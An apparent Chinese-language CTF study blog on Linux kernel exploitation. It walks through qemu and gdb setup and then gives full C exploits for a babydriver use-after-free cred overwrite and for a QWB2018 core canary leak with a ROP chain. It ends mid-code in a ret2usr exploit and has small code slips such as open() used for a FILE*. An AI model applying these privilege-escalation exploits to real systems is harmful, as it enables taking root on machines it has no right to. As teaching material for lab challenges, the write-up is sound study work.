KernelPwn入门学习

字数统计: 8.8k字   |   阅读时长≈ 42分

向 Kernel Pwn 学习前进，先学习一些基础知识，对这个方向有一个基础了解。PS：发现了 xmzyshypnc的宝藏博客，内容很全很多。

基础知识

目的

Kernel 题目通过远程登陆虚拟环境，本地一般使用 qemu根据提供的启动脚本启动虚拟环境，利用内核模块（一般是题目给的 *.ko 文件）中的漏洞，在目标系统中运行编写的 exploit程序，从而实现权限的提升。

题目形式

以 0ctf 2018 final baby 的题目进行一个大概说明：

一般题目会给如下文件：

1
2
3
4
baby.ko		#经压缩的内核文件
core.cpio	#内核启动的文件系统
vmlinuz-4.15.0-22-generic	#kernel映像
start.sh	#启动整个题目环境

我们查看 start.sh如下：

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1  \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  -enable-kvm

参数说明如下：

1
2
3
4
5
-initrd  ./core.cpio 	#使用core.cpio 作为内核启动的文件系统
-kernel ./vmlinuz-4.15.0-22-generic		#使用vmlinuz-4.15.0-22-generic作为kernel映像
-cpu qemu64		#设置cpu
-m 256M			#设置虚拟 RAM为64M，默认128M
-smp 2,cores=2,threads=1	#开启smp

core.cpio：

对于 core.cpio这种文件系统，可以直接对其解压并重新压缩，从而修改这个系统的文件新建一个文件夹来解压：

1
cpio -idmv < core.cpio

解压后，可以发现其内部与一个Linux的系统文件夹结构类似。我们可以发现一个 init 文件，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

其中 insmod baby.ko, 指定了该系统加载的内核模块，该模块即是出题者编写的有漏洞的驱动模块。我们需要对该模块进行动静态分析，发现漏洞并利用。

再次打包压缩命令如下：

1
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio

环境搭建

可以从此处下载内核文件。

然后，解压该文件后，执行如下命令：

1
2
sudo make defconfig
sudo make

最终会编译生成一个 vmlinux内核文件。

调试方法

知道我们的目标模块后，我们就需要对该模块进行分析。静态分析，直接拖入IDA中即可。此处介绍动态分析方法：

我们可以在 start.sh 中加入 gdb 远程调试的参数：

1
-gdb tcp::1234

然后启动该脚本，此时 qemu就会在 1234 端口启一个 gdb_server。

随后在 启动 gdb，分别设置如下参数：

1
2
set architecture i386:x86-64:intel	#设置gdb调试的系统架构为 i386
target remote :1234			#连接调试端口

如果获得了模块的符号信息，可以在 gdb中加载模块，并进行下断调试。但是为了加载符号文件，首先需要在系统里获取驱动的加载基址，在系统里输入如下命令，可以查看模块的加载基址。如果是在非root用户下，lsmod命令不会得到驱动加载的地址，所以我们可以选择以root用户启动，并且在 root用户中来调试。

1
lsmod

image-20201106224219063

在 gdb 中输入如下命令，加载 符号文件。这里地址是 0x0，只是为了示例。

1
add-symbol-file baby.ko 0x0000000000000000

如果要下断点，可以用如下形式：

1
b *0x0000000000000000+0x20

Kernel UAF

CISCN-babydriver

程序分析

这里的分析，基本都是踩的 xmzyshypnc学长的轮子。

首先使用 alloc_chrdev_region函数动态分配一个设备号，成功分配的话初始化一个cdev结构体（每个字符设备对应一个结构体），_class_create注册一个字符设备，创建相应的 class，再调用 device_create 创建对应的设备，每次失败都进行了回滚 destroy或者 unregister等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl babydriver_init()
{
  __int64 v0; // rdx
  int v1; // edx
  __int64 v2; // rsi
  __int64 v3; // rdx
  int v4; // ebx
  class *v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rax

  if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
  {
    cdev_init(&cdev_0, &fops);
    v2 = babydev_no;
    cdev_0.owner = &_this_module;
    v4 = cdev_add(&cdev_0, babydev_no, 1LL);
    if ( v4 >= 0 )
    {
      v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v5;
      if ( v5 )
      {
        v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
        v1 = 0;
        if ( v7 )
          return v1;
        printk(&unk_351, 0LL, 0LL);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&unk_33B, "babydev", v6);
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327, v2, v3);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v4;
  }
  printk(&unk_309, 0LL, v0);
  return 1;
}

_exit 是设备卸载的时候会调用，把分配的设备和 class等回收

1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
  device_destroy(babydev_class, babydev_no);
  class_destroy(babydev_class);
  cdev_del(&cdev_0);
  unregister_chrdev_region(babydev_no, 1LL);
}

open函数的参数有inode和 filp，每个设备都会对应一个inode，而且分向一个 inode，这个不像 filp文件指针每次打开一个设备都会创建一个新的文件指针以供操作（内核里的文件指针，跟用户态不一样）：

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 0x40LL;
  printk("device open\n");
  return 0;
}

read函数是从内核往用户态读数据，kernel里的文件结构定义了一组基础接口，允许开发者按照参数的标准实现了一套自己的函数，read、write、open、release(close)都是自己实现的，这里的 read判断 babydev_struct.device_buf不为 NULL就将用户输入的第三个参数length长的数据从 device_buf拷贝到 Buffer里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

write是从用户态拷贝length长的数据到 babydev_struct.device_buf里：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

ioctl是用户态调用内核驱动的函数，开发者可以在其中根据 arg参数决定对设备不同的操作，其中 command是一个唯一的数字，在新的标准里 command是有结构的，不同的位有不同的功能。如果 command是 0x10001，则释放 device_buf，再分配一个指定 size的内存地址赋给 device_buf：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

release函数调用发生在关闭设备文件的时候，会free掉buf：

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);             // exec when close(fd)
  printk("device release\n");
  return 0;
}

利用分析

程序漏洞点对我还是比较陌生的，是由于驱动并发处理不当，存在条件竞争漏洞。

开发驱动的时候，驱动必须是可重入的，也即是可以支持多次被打开的，这里 release的 kfree之后没有清空全局变量 babydev_struct.device_buf，全局变量在两次打开设备文件的时候是共享的，也即如果两次打开设备，在第一次 free掉 buf时，在第二次仍能继续读写数据。

一种简单方法是通过该版本的linux源码，获取 struct cred的大小（这里是 0xa8），在第一个设备操作中关闭文件 free掉 buf，再 fork一个新的进程，每次fork的时候会分配一个 struct cred结构体来标明进程的权限，这个结构体会将父进程的 cred复制过来，分配到的恰好是我们释放的结构体(slab分配器类似fastbin的分配方式 )，这时候在父进程里通过 write修改全局变量的 device_buf，实际上是修改 cred，我们把 uid改为0即可在子进程提权，之后在其中打开 shell 即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);
    // 释放 fd1
    close(fd1);
    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid == 0)
    {
        // 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
        char zeros[0x20] = { 0 };
        write(fd2, zeros, sizeof(zeros));
        if(getuid() == 0)
        {
            system("/bin/sh");
        }
    }
    else if(pid > 0)
    {
        wait(NULL);
    }
    return 0;
}

对exp进行编译，因为这个题目的kernel里面没有libc，所以这里我们静态编译exp:

1
gcc exp.c -static -o exploit

然后将 exploit直接放入解压的roofs目录中，然后再重新压缩打包：

1
find . | cpio -o --format=newc > ../rootfs.cpio

image-20201117220208916

注意：这种攻击方式在新版本内核中已经失效，因为新进程的 cred结构体会有一个单独的区域进行申请，因此 UAF漏洞无法利用成功，这种新的特征叫做 lockdown。

Kernel ROP

QWB2018-Core

首先使用如下命令解压core.cpio：

1
gunzip ./core.cpio.gz

然后就可以正常使用 cpio -idmv < core.cpio进行解压。

程序分析

首先看一下文件core.cpio 里的一些重要配置，以前以为这里没啥重要信息，现在看来是自己想错了。首先看 Init文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

在第 9 行中，将 /proc/kallsyms 文件放入到了 /tmp/kallsyms文件下，那么后续就可以从 /tmp/kallsyms中读取 commit_creds，prepare_kernel_cred 的函数的地址了。

在第10行中，将 kptr_restrict设为1，这样就不能通过 /proc/kallsyms 直接查看函数地址，但是第9行中已经把信息保存到了一个可读文件中，这个保护就可以被绕过。

第11行中，把 dmesg_restrict设为1，就不能通过 dmesg查看 kernel的信息了；

第18行中，设置了定时关机，这里可以直接删掉即可。

再来看一下题目提供的 start.sh：

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

可以看到开启了 kaslr保护。

现在来分析一下 core.ko文件：

init_module中创建了虚拟文件 /proc/core，应用层通过该文件实现与内核的交互：

1
2
3
4
5
6
__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

在 core_ioctl中定义了三条命令，分别是 core_read()、设置全局变量 off以及core_copy_func()。其中全局变量是由用户传入的第三个参数设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = v3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

其中 core_read()函数，是将内核的数据拷贝到用户指定的用户空间中，拷贝的源地址由 off变量指定，拷贝大小为 64 字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 buf; // rbx
  __int64 *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  buf = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(a1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

其中 core_copy_func函数 是将全局变量 Name的数据拷贝到 v2中，拷贝长度由用户输入参数 a1决定。这里对 a1进行了限制，不能超过 63。但是此处存在漏洞，我们输入的参数 a1是 int64类型，也就是可以输入负数，而 最终程序执行 qmemcpy时的 长度 a1却是 int16类型，也就是只截取了 int64的低2字节。也即存在一个栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

core_write函数是将数据从用户态拷贝到内核 全局变量name空间内，长度由 v3决定。

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

core_release函数 和 exit_core函数意义不大。

此外，core.ko文件开启了 Canary保护。

利用分析

内核存在一个栈溢出，很容易想到利用ROP，但是内核 ROP与用户态下有一些不同。并且利用栈溢出时，我们首先得泄露 canary。

  1. 泄露 canary

我们首先得泄露内核栈上的canary，首先设置合适的 off值，再通过 core_read函数读取内核栈上的数据，泄露canary；

  1. 获取 gagdet地址

执行 ROP首先需要找到合适的 gadget，内核 gadget的寻找需要从 vmlinux文件获取，可以直接使用 ropper --file ./vmlinux > rops将寻找的 rop存放起来。如果题目没有直接给 vmlinux，也可以使用 extract-vmlinux进行提取，命令如下：

1
./extract-vmlinux ./bzImage > ./vmlinux

有了偏移，我们还得确定内核运行基址。

  1. 构造 ROP

随后我们就可以利用 core_write函数，向全局变量 name中写入 ROP，ROP的主要功能是 执行 commit_creds(prepare_kernel_cred(0))进行提权。

TIPS

swapgs指令和 iretq指令：

swapgs 指令通过系统调用切入到 Kernel系统服务后，通过交换 IA32_KERNEL_GS_BASE与 IA32_GS_BASE的值，从而得到 Kernel数据结构的指针，其中 IA32_KERNEL_GS_BASE寄存器的是一个 MSR寄存器，用于保存 kernel 级别的数据结构指针。MSR(Model Specific Register)寄存器是为了设置CPU的工作环境和标识 CPU的工作状态等。

在执行 IRET指令时，如果返回到相同级别的任务，将从栈中弹出指令指针、代码段选择器和EFLAGS映像至 EIP、CS和 EFLAGS寄存器，然后继续执行被中断的程序或过程。如果返回到另一个权限级别则在恢复程序执行之前，还有从栈中弹出堆栈指针和SS。

所以从 Kernel space 返回到 user space，需要在栈中提前准备好rip、CS、EFLAGS、SS和 rsp。rip可以设置成 system('/bin/hs\x00')函数地址。

因此，需要先保存这些寄存器的状态：

1
2
3
4
5
6
7
8
void save_status(){
   __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;"            //push eflags
           "pop user_rflags;"
          );
}

获取函数地址

可以在 /tmp/kallsyms中获取到 commit_creds和 prepare_kernel_cred的函数地址，这里类似于泄露 libc，泄露一个地址然后减去它在 libc中的偏移就可以得到 libc_base，那么获取到这两个函数地址后，减去他们在 vmlinux的偏移，就可以获得 vmlinux_base，偏移可以利用 Pwntools获得：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

vmlinux = ELF("./vmlinux")

base = 0xffffffff81000000
commit_creds_offset = vmlinux.symbols["commit_creds"] - base
print hex(commit_creds_offset) #0x9c8e0

prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"] - base
print hex(prepare_kernel_cred) #0x9cce0

'''
ubuntu@ubuntu:~/Desktop$ checksec vmlinux
[*] '/home/ubuntu/Desktop/vmlinux'
    Arch:     amd64-64-little
    Version:  4.15.8
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments
0x9c8e0
0x9cce0
'''

如上所示，commit_creds的偏移为 0x9c8e0，prepare_kernel_cred的偏移为 0x9cce0。

得到偏移后，我们只需要在 exp中去泄露 commit_creds或 prepare_kernel_cred等函数的地址，再减去偏移就可以获得 libc基址。

泄露canary

首先程序存在将内核空间v5[off]的数据输出到用户空间内，&v5 的地址是 rbp-0x50，可以将 off设置为 0x40，然后泄露 canary。

有一个数据格式转换，经常用到，即我们读取内核数据的缓冲区数据类型为 char buf[0x40]，将其转换为 size_t buf[8]后，buf[0]就是 canary的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void set_off(int fd, long long idx){
   printf("[*]set off to %lld\n",idx);
   ioctl(fd,0x6677889C,idx);
}

//read from kernel
void core_read(int fd,char* buf){
   printf("[*]read to buf\n");
   ioctl(fd,0x6677889B,buf);
}

set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t*)buf)[0];
printf("[*]canary: %p\n",canary);

构造rop

首先填充 canary和 ebp，接下来就是去执行 perpare_kernel_cread(0)。

1
2
3
4
5
6
7
8
9
10
for(i=0;i<10;i++){
  rop[i] = canary;
}
接下来执行prepare_kernel_cred(0):
~~~c
//rdi = 0;ret prepare_kernel_cred
//prepare_kernel_cred(0)
rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;

调试分析

首先修改 init文件，添加以下命令，以便获取 core.ko的代码段的基址，这样内核启动就是 root权限。这里只为了调试方便，执行exp可去掉：

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

然后重新打包文件系统，运行 start.sh起内核，在qemu中查找 core.ko的 .text段的地址：

1
2
/ # cat /sys/module/core/sections/.text
0xffffffffc03d0000

在另一个terminal中启动 gdb：

1
gdb ./vmlinux -q

然后添加 core.ko的符号表，加载了符号表之后就可以直接对函数名下断点：

1
2
3
4
gdb-peda$ add-symbol-file ./core.ko 0xffffffffc0205000
add symbol table from file "./core.ko" at
  .text_addr = 0xffffffffc0205000
Reading symbols from ./core.ko...(no debugging symbols found)...done.

最后使用gdb远程调试程序，用如下命令：

1
target remote localhost:1234

最终，我们能看到开始执行我们的 ROP:

image-20201119154930489

EXP

注意：这里的汇编写法是按照 x86汇编的写法，所以需要在编译时加上 -masm=intel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
//gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long user_stack = 0;
size_t p_rdi_r = 0xffffffff81000b2f;
size_t p_rdx_r = 0xffffffff810a0f49;
size_t p_rcx_r = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

void get_shell(){
   if(!getuid()){
      system("/bin/sh");
   }
   else{
      puts("[*]spawn shell error!");
   }
   exit(0);
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;" //push eflags
           "pop user_rflags;"
          );
}

void setoff(int fd, int offset){
    printf("[+] set off as: %d\n",offset);
    ioctl(fd, 0x6677889C, offset);
}

void read_kernel(int fd, int off, char *buf){
    setoff(fd, off);
    ioctl(fd, 0x6677889B, buf);
    printf("read kernel data from %d\n", off);
}

//get func addr and leak base
size_t find_symbols(){
    FILE* sym_fd = open('/tmp/kallsyms', 'r');
    if(sym_fd < 0)
    {
        puts("open kallsyms failed");
        exit(0);
    }
    char buf[0x30] = { 0 };
    while(fgets(buf, 0x30, sym_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        //find commit_creds
        if(strstr(buf, "commit_creds") && !commit_creds){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            //get vmlinux_base
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux base addr: %p\n", vmlinux_base);
        }
        //find prepare_kernel_cred
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            //get vmlinux_base
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            printf("vmlinux base addr: %p\n", vmlinux_base);
        }
    }

    if(!commit_creds & !prepare_kernel_cred){
        puts("read kallsyms failed \n");
        exit(0);
    }

}

void write_kernel(int fd,long long  size){
    ioctl(fd, 0x6677889A, size);
}

int main(int argc, char const *argv[])
{
    save_status();

    //get vmlinux base
    find_symbols();
    size_t offset = vmlinux_base - raw_vmlinux_base;

    int fd = open("/proc/core", 2);
    if(fd < 0){
        puts("open core failed\n");
        exit(0);
    }
    char buf[0x40] = { 0 };
    read_kernel(fd, 0x40, buf);
    size_t canary = ((size_t*)buf)[0];
    printf("canary: %p\n", canary);

    int i = 0;
    size_t rop[0x1000] = {0};
    for(i=0; i<10; i++){
        rop[i] = canary;
    }

    //prepare_kernel_cred(0)
    rop[i++] = p_rdi_r + offset;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;

    //commit_cread(rax)
    rop[i++] = p_rdx_r + offset;
    rop[i++] = p_rcx_r + offset;
    rop[i++] = mov_rdi_rax_call_rdx + offset;
    rop[i++] = commit_creds;

    //kernel space to user space: swapgs ireta
    //swapgs: get kernle data structure
    //popfq: pop eflags
    //retn iretq
    rop[i++] = swapgs_popfq_ret + offset;
    rop[i++] = 0;

    //ireta: from kernle space to user space
    //prepare cs, eflags.rsp
    rop[i++] = (size_t)get_shell;

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    //write rop into name
    write(fd, rop, 0x800);
    write_kernel(fd, 0xffffffffffff0000 | (0x100));
    return 0;
}

ret2usr

ret2usr攻击利用了用户空间的进程不能访问内核空间，但内核空间能访问用户空间这个特性来定向内核代码或数据流指向用户空间，以 ring 0特权执行用户空间代码完成提权等操作。

我们可以在用户态构造好需要的函数，然后由内核直接调用即可。这里直接在 用户态写好 提权的函数，然后由内核态返回到用户态来 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long user_stack = 0;
size_t p_rdi_r = 0xffffffff81000b2f;
size_t p_rdx_r = 0xffffffff810a0f49;
size_t p_rcx_r = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

void get_shell(){
   if(!getuid()){
      system("/bin/sh");
   }
   else{
      puts("[*]spawn shell error!");
   }
   exit(0);
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

void save_status(){
   __asm__("mov user_cs,cs;"
           "mov user_ss,ss;"
           "mov user_sp,rsp;"
           "pushf;" //push eflags
           "pop user_rflags;"
          );
}

void setoff(int fd, int offset){
    printf("[+] set off as: %d\n",offset);
    ioctl(fd, 0x6677889C, offset);
}

void read_kernel(int fd, int off, char *buf){
    setoff(fd, off);
    ioctl(fd, 0x6677889B, buf);
    printf("read kernel data from %d\n", off);
}

//get func addr and leak base
size_t find_symbols(){
    FILE* sym_fd = open('/tmp/kallsyms', 'r');
    if(sym_fd < 0)
    {
        puts("open kallsyms failed");
        exit(0);
    }
    char buf[0x30] = { 0 };
    while(fgets(buf, 0x30, sym_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        //find commit_creds
        if(strstr(buf, "commit_creds") && !commit_creds){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            //get vmlinux_base
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux base addr: %p\n", vmlinux_base);
        }
        //find prepare_kernel_cred
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            //get vmlinux_base
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            printf("vmlinux base addr: %p\n", vmlinux_base);
        }
    }

    if(!commit_creds & !prepare_kernel_cred){
        puts("read kallsyms failed \n");
        exit(0);
    }

}

void write_kernel(int fd,long long  size){
    ioctl(fd, 0x6677889A, size);
}

int main(int argc, char const *argv[])
{
    save_status();

    //get vmlinux base
    find_symbols();
    size_t offset = vmlinux_base - raw_vmlinux_base;

    int fd = open("/proc/core", 2);
    if(fd < 0){
        puts("open core failed\n");
        exit(0);
    }
    char buf[0x40] = { 0 };
    read_kernel(fd, 0x40, buf);
    size_t canary = ((size_t*)buf)[0];
    printf("canary: %p\n", canary);

    int i = 0;
    size_t rop[0x1000] = {0};
    for(i=0; i<10; i++){
        rop[i] = canary;
    }

    //prepare_kernel_cred(0)
//    rop[i++] = p_rdi_r + offset;
//    rop[i++] = 0;
//    rop[i++] = prepare_kernel_cred;
//
//    //commit_cread(rax)
//    rop[i++] = p_rdx_r + offset;
//    rop[i++] = p_rcx_r + offset;
//    rop[i++] = mov_rdi_rax_call_rdx + offset;
//    rop[i++] = commit_creds;
//
//    //kernel space to user space: swapgs ireta
//    //swapgs: get kernle data structure
//    //popfq: pop eflags
//    //retn iretq
    //get root
    rop[i++] = (size_t) get_root;
    rop[i++] = swapgs_popfq_ret + offset;
